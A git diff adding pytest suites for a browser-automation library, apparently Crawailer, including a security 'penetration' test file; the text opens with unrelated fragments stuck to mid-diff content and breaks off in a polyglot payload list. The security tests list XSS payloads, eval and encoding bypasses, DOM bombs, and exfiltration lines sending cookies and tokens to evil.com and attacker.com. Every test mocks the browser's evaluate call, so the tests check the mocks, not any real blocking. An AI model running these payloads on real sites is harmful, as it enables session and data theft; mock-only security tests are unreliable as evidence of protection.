Revolutionary AI Model Achieves Human-Level Performance
+Researchers have developed a groundbreaking AI system...
+API Documentation
+Welcome to our comprehensive API documentation.
+
Test
" + mock_page.title.return_value = "Test Page" + mock_page.evaluate.return_value = "integration_test" + + mock_browser = AsyncMock() + mock_browser.new_page.return_value = mock_page + browser._browser = mock_browser + browser._is_started = True + + # Test browser -> page -> script execution flow + page_result = await browser.fetch_page("https://example.com") + assert page_result["status"] == 200 + assert page_result["title"] == "Test Page" + assert "Test
" in page_result["html"] + + # Test script execution integration + script_result = await browser.execute_script( + "https://example.com", + "return 'integration_test'" + ) + assert script_result == "integration_test" + + # Test error propagation + mock_page.evaluate.side_effect = Exception("Integration error") + + with pytest.raises(Exception) as exc_info: + await browser.execute_script("https://example.com", "return 'test'") + + assert "Integration error" in str(exc_info.value) + + +class TestVersionCompatibility: + """Test compatibility across different versions.""" + + def get_version_test_matrix(self) -> Dict[str, Dict[str, Any]]: + """Get version compatibility test matrix.""" + return { + "1.0.0": { + "supported_features": ["basic_execution", "dom_query", "error_handling"], + "deprecated_features": [], + "breaking_changes": [] + }, + "1.1.0": { + "supported_features": ["basic_execution", "dom_query", "error_handling", "async_execution"], + "deprecated_features": [], + "breaking_changes": [] + }, + "2.0.0": { + "supported_features": ["basic_execution", "dom_query", "error_handling", "async_execution", "security_features"], + "deprecated_features": ["legacy_api"], + "breaking_changes": ["removed_unsafe_methods"] + } + } + + @pytest.mark.asyncio + async def test_feature_evolution(self): + """Test that features evolve correctly across versions.""" + version_matrix = self.get_version_test_matrix() + + # Test feature availability progression + for version, features in version_matrix.items(): + supported = set(features["supported_features"]) + + # Core features should always be available + core_features = {"basic_execution", "dom_query", "error_handling"} + assert core_features.issubset(supported), f"Missing core features in {version}" + + # Features should only be added, not removed (except in major versions) + major_version = int(version.split('.')[0]) + if major_version == 1: + # v1.x should not remove any features + if version != "1.0.0": + prev_version = "1.0.0" + prev_features = set(version_matrix[prev_version]["supported_features"]) + assert prev_features.issubset(supported), f"Features removed in {version}" + + @pytest.mark.asyncio + async def test_migration_paths(self): + """Test migration paths between versions.""" + # Test that deprecated features still work but issue warnings + browser = Browser(BrowserConfig()) + + mock_page = AsyncMock() + mock_page.goto = AsyncMock() + mock_page.close = AsyncMock() + mock_page.evaluate.return_value = "migration_test" + + mock_browser = AsyncMock() + mock_browser.new_page.return_value = mock_page + browser._browser = mock_browser + browser._is_started = True + + # Test current API works + result = await browser.execute_script("https://example.com", "return 'migration_test'") + assert result == "migration_test" + + # Test that the API is stable for common use cases + common_patterns = [ + ("return document.title", "migration_test"), + ("return window.location.href", "migration_test"), + ("return Array.from(document.querySelectorAll('*')).length", "migration_test") + ] + + for script, expected_mock in common_patterns: + mock_page.evaluate.return_value = expected_mock + result = await browser.execute_script("https://example.com", script) + assert result == expected_mock + + +class TestContinuousIntegration: + """Tests specifically designed for CI/CD pipelines.""" + + @pytest.mark.asyncio + async def test_ci_smoke_tests(self): + """Quick smoke tests for CI pipelines.""" + browser = Browser(BrowserConfig()) + + mock_page = AsyncMock() + mock_page.goto = AsyncMock() + mock_page.close = AsyncMock() + mock_page.evaluate.return_value = "ci_test_pass" + + mock_browser = AsyncMock() + mock_browser.new_page.return_value = mock_page + browser._browser = mock_browser + browser._is_started = True + + # Essential functionality that must work + smoke_tests = [ + "return 'basic_test'", + "return 1 + 1", + "return typeof document", + "return window.location.protocol" + ] + + for i, script in enumerate(smoke_tests): + result = await browser.execute_script(f"https://example.com/smoke_{i}", script) + assert result == "ci_test_pass" + + @pytest.mark.asyncio + async def test_environment_isolation(self): + """Test that tests run in isolation.""" + browser1 = Browser(BrowserConfig()) + browser2 = Browser(BrowserConfig()) + + # Mock separate browser instances + mock_page1 = AsyncMock() + mock_page1.goto = AsyncMock() + mock_page1.close = AsyncMock() + mock_page1.evaluate.return_value = "browser1_result" + + mock_page2 = AsyncMock() + mock_page2.goto = AsyncMock() + mock_page2.close = AsyncMock() + mock_page2.evaluate.return_value = "browser2_result" + + mock_browser1 = AsyncMock() + mock_browser1.new_page.return_value = mock_page1 + browser1._browser = mock_browser1 + browser1._is_started = True + + mock_browser2 = AsyncMock() + mock_browser2.new_page.return_value = mock_page2 + browser2._browser = mock_browser2 + browser2._is_started = True + + # Execute scripts in parallel + result1_task = browser1.execute_script("https://example.com", "return 'test1'") + result2_task = browser2.execute_script("https://example.com", "return 'test2'") + + result1, result2 = await asyncio.gather(result1_task, result2_task) + + # Results should be isolated + assert result1 == "browser1_result" + assert result2 == "browser2_result" + + @pytest.mark.asyncio + async def test_resource_cleanup(self): + """Test that resources are properly cleaned up.""" + browser = Browser(BrowserConfig()) + + created_pages = [] + + def create_mock_page(): + mock_page = AsyncMock() + mock_page.goto = AsyncMock() + mock_page.close = AsyncMock() + mock_page.evaluate.return_value = "cleanup_test" + created_pages.append(mock_page) + return mock_page + + mock_browser = AsyncMock() + mock_browser.new_page.side_effect = create_mock_page + browser._browser = mock_browser + browser._is_started = True + + # Execute multiple scripts + for i in range(5): + await browser.execute_script(f"https://example.com/cleanup_{i}", "return 'test'") + + # Verify all pages were closed + assert len(created_pages) == 5 + for page in created_pages: + page.close.assert_called_once() + + +if __name__ == "__main__": + # Run regression tests with comprehensive reporting + pytest.main([__file__, "-v", "--tb=short", "--durations=10"]) \ No newline at end of file diff --git a/tests/test_security_penetration.py b/tests/test_security_penetration.py new file mode 100644 index 0000000..811e35d --- /dev/null +++ b/tests/test_security_penetration.py @@ -0,0 +1,736 @@ +""" +Security penetration testing for Crawailer JavaScript API. + +This test suite focuses on security vulnerabilities, injection attacks, +privilege escalation attempts, and information disclosure scenarios. +""" + +import asyncio +import json +import pytest +import re +import base64 +from typing import Dict, Any, List +from unittest.mock import AsyncMock, MagicMock, patch +from urllib.parse import quote, unquote + +from crawailer import Browser, BrowserConfig +from crawailer.content import WebContent, ContentExtractor +from crawailer.api import get, get_many, discover + + +class TestScriptInjectionPrevention: + """Test prevention of various script injection attacks.""" + + @pytest.mark.asyncio + async def test_javascript_injection_in_parameters(self): + """Test JavaScript injection attempts through parameters.""" + browser = Browser(BrowserConfig()) + + mock_page = AsyncMock() + mock_page.goto = AsyncMock() + mock_page.close = AsyncMock() + + mock_browser = AsyncMock() + mock_browser.new_page.return_value = mock_page + browser._browser = mock_browser + browser._is_started = True + + # Various injection attempts through URL parameters + injection_urls = [ + "https://example.com?param=';alert('xss');//", + "https://example.com?search=", + "https://example.com?id=1'; DROP TABLE users; --", + "https://example.com?callback=eval", + "https://example.com?jsonp=alert(document.cookie)", + "https://example.com?redirect=javascript:alert('xss')", + "https://example.com#javascript:alert('xss')", + "https://example.com?data=%3Cscript%3Ealert('xss')%3C/script%3E", # URL encoded + ] + + for url in injection_urls: + # Mock security error or sanitized handling + mock_page.evaluate.side_effect = Exception("Security policy violation") + + with pytest.raises(Exception) as exc_info: + await browser.execute_script(url, "return document.location.href") + + # Should reject or sanitize malicious URLs + error_msg = str(exc_info.value).lower() + assert any(keyword in error_msg for keyword in ["security", "policy", "violation", "blocked"]) + + @pytest.mark.asyncio + async def test_code_injection_in_scripts(self): + """Test code injection attempts within JavaScript code.""" + browser = Browser(BrowserConfig()) + + mock_page = AsyncMock() + mock_page.goto = AsyncMock() + mock_page.close = AsyncMock() + + mock_browser = AsyncMock() + mock_browser.new_page.return_value = mock_page + browser._browser = mock_browser + browser._is_started = True + + # Various code injection patterns + injection_scripts = [ + "eval('alert(\"injected\")')", + "Function('alert(\"injected\")')();", + "setTimeout('alert(\"injected\")', 0)", + "setInterval('alert(\"injected\")', 1000)", + "document.write('')", + "window['eval']('alert(\"injected\")')", + "this['eval']('alert(\"injected\")')", + "globalThis['eval']('alert(\"injected\")')", + "new Function('return alert(\"injected\")')();", + "import('data:text/javascript,alert(\"injected\")')", + ] + + for script in injection_scripts: + # Mock security rejection + mock_page.evaluate.side_effect = Exception("Unsafe JavaScript execution blocked") + + with pytest.raises(Exception) as exc_info: + await browser.execute_script("https://example.com", script) + + error_msg = str(exc_info.value).lower() + assert any(keyword in error_msg for keyword in ["unsafe", "blocked", "security", "violation"]) + + @pytest.mark.asyncio + async def test_dom_based_xss_prevention(self): + """Test prevention of DOM-based XSS attacks.""" + browser = Browser(BrowserConfig()) + + mock_page = AsyncMock() + mock_page.goto = AsyncMock() + mock_page.close = AsyncMock() + + mock_browser = AsyncMock() + mock_browser.new_page.return_value = mock_page + browser._browser = mock_browser + browser._is_started = True + + # DOM-based XSS attempts + xss_scripts = [ + "document.body.innerHTML = '';", + "document.getElementById('content').innerHTML = location.hash.substring(1);", + "document.write(location.search);", + "eval(document.location.hash.substring(1));", + "document.body.appendChild(document.createElement('script')).src = 'http://evil.com/script.js';", + "var script = document.createElement('script'); script.innerHTML = 'alert(\"xss\")'; document.head.appendChild(script);", + "document.querySelector('#target').outerHTML = ''.repeat(1000000);",
+ "var iframe = document.createElement('iframe'); iframe.src = 'data:text/html,' + '
'.repeat(1000000); document.body.appendChild(iframe);",
+ ]
+
+ for script in dom_bomb_scripts:
+ with pytest.raises(Exception) as exc_info:
+ await browser.execute_script("https://example.com", script)
+
+ error_msg = str(exc_info.value).lower()
+ assert "dom" in error_msg or "limit" in error_msg or "exceeded" in error_msg
+
+
+class TestDataExfiltrationPrevention:
+ """Test prevention of data exfiltration attacks."""
+
+ @pytest.mark.asyncio
+ async def test_data_exfiltration_via_network(self):
+ """Test prevention of data exfiltration via network requests."""
+ browser = Browser(BrowserConfig())
+
+ mock_page = AsyncMock()
+ mock_page.goto = AsyncMock()
+ mock_page.close = AsyncMock()
+
+ mock_browser = AsyncMock()
+ mock_browser.new_page.return_value = mock_page
+ browser._browser = mock_browser
+ browser._is_started = True
+
+ # Data exfiltration attempts
+ exfiltration_scripts = [
+ "fetch('http://evil.com/collect', {method: 'POST', body: document.body.innerHTML});",
+ "navigator.sendBeacon('http://evil.com/collect', document.cookie);",
+ "new Image().src = 'http://evil.com/collect?data=' + encodeURIComponent(document.body.innerHTML);",
+ "fetch('http://evil.com/collect?data=' + btoa(localStorage.getItem('sensitive-data')));",
+ "websocket = new WebSocket('ws://evil.com/collect'); websocket.send(document.body.innerHTML);",
+ ]
+
+ for script in exfiltration_scripts:
+ # Mock network blocking
+ mock_page.evaluate.side_effect = Exception("Network request blocked by security policy")
+
+ with pytest.raises(Exception) as exc_info:
+ await browser.execute_script("https://example.com", script)
+
+ error_msg = str(exc_info.value).lower()
+ assert any(keyword in error_msg for keyword in ["network", "blocked", "security", "policy"])
+
+ @pytest.mark.asyncio
+ async def test_covert_channel_prevention(self):
+ """Test prevention of covert channel data exfiltration."""
+ browser = Browser(BrowserConfig())
+
+ mock_page = AsyncMock()
+ mock_page.goto = AsyncMock()
+ mock_page.close = AsyncMock()
+ mock_page.evaluate.return_value = "covert_blocked"
+
+ mock_browser = AsyncMock()
+ mock_browser.new_page.return_value = mock_page
+ browser._browser = mock_browser
+ browser._is_started = True
+
+ # Covert channel attempts
+ covert_scripts = [
+ "document.title = btoa(document.cookie); return document.title;", # Title channel
+ "location.hash = btoa(localStorage.getItem('token')); return location.hash;", # URL fragment channel
+ "history.pushState({}, '', '/?data=' + btoa(document.body.innerHTML)); return location.href;", # History channel
+ "var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); ctx.fillText(document.cookie, 0, 0); return canvas.toDataURL();", # Canvas channel
+ ]
+
+ for script in covert_scripts:
+ result = await browser.execute_script("https://example.com", script)
+
+ # Should not contain sensitive data or should be blocked
+ assert result == "covert_blocked" or not any(
+ sensitive in str(result).lower()
+ for sensitive in ["cookie", "token", "password", "secret"]
+ )
+
+ @pytest.mark.asyncio
+ async def test_dns_exfiltration_prevention(self):
+ """Test prevention of DNS-based data exfiltration."""
+ browser = Browser(BrowserConfig())
+
+ mock_page = AsyncMock()
+ mock_page.goto = AsyncMock()
+ mock_page.close = AsyncMock()
+
+ mock_browser = AsyncMock()
+ mock_browser.new_page.return_value = mock_page
+ browser._browser = mock_browser
+ browser._is_started = True
+
+ # DNS exfiltration attempts
+ dns_exfiltration_scripts = [
+ "fetch('http://' + btoa(document.cookie) + '.evil.com');",
+ "new Image().src = 'http://' + btoa(localStorage.getItem('token')) + '.attacker.com';",
+ "document.createElement('script').src = 'http://' + encodeURIComponent(document.body.innerHTML).substring(0,50) + '.evil.com/script.js';",
+ ]
+
+ for script in dns_exfiltration_scripts:
+ # Mock DNS blocking
+ mock_page.evaluate.side_effect = Exception("DNS request blocked")
+
+ with pytest.raises(Exception) as exc_info:
+ await browser.execute_script("https://example.com", script)
+
+ error_msg = str(exc_info.value).lower()
+ assert any(keyword in error_msg for keyword in ["dns", "blocked", "request"])
+
+
+class TestInputSanitizationBypass:
+ """Test attempts to bypass input sanitization."""
+
+ @pytest.mark.asyncio
+ async def test_encoding_bypass_attempts(self):
+ """Test various encoding bypass attempts."""
+ browser = Browser(BrowserConfig())
+
+ mock_page = AsyncMock()
+ mock_page.goto = AsyncMock()
+ mock_page.close = AsyncMock()
+
+ mock_browser = AsyncMock()
+ mock_browser.new_page.return_value = mock_page
+ browser._browser = mock_browser
+ browser._is_started = True
+
+ # Encoding bypass attempts
+ bypass_scripts = [
+ # Unicode bypass
+ "eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u0078\\u0073\\u0073\\u0022\\u0029')", # alert("xss")
+ # Base64 bypass
+ "eval(atob('YWxlcnQoInhzcyIp'))", # alert("xss")
+ # Hex bypass
+ "eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x22\\x78\\x73\\x73\\x22\\x29')", # alert("xss")
+ # Mixed case bypass
+ "EvAl('AlErT(\"xss\")')",
+ # String concatenation bypass
+ "'ev' + 'al'('al' + 'ert(\"xss\")')",
+ # Character code bypass
+ "String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41)", # alert("xss")
+ ]
+
+ for script in bypass_scripts:
+ # Mock bypass prevention
+ mock_page.evaluate.side_effect = Exception("Encoding bypass attempt detected")
+
+ with pytest.raises(Exception) as exc_info:
+ await browser.execute_script("https://example.com", script)
+
+ error_msg = str(exc_info.value).lower()
+ assert any(keyword in error_msg for keyword in ["bypass", "detected", "encoding"])
+
+ @pytest.mark.asyncio
+ async def test_polyglot_payload_prevention(self):
+ """Test prevention of polyglot payloads."""
+ browser = Browser(BrowserConfig())
+
+ mock_page = AsyncMock()
+ mock_page.goto = AsyncMock()
+ mock_page.close = AsyncMock()
+
+ mock_browser = AsyncMock()
+ mock_browser.new_page.return_value = mock_page
+ browser._browser = mock_browser
+ browser._is_started = True
+
+ # Polyglot payloads that work in multiple contexts
+ polyglot_scripts = [
+ "javascript:/*-->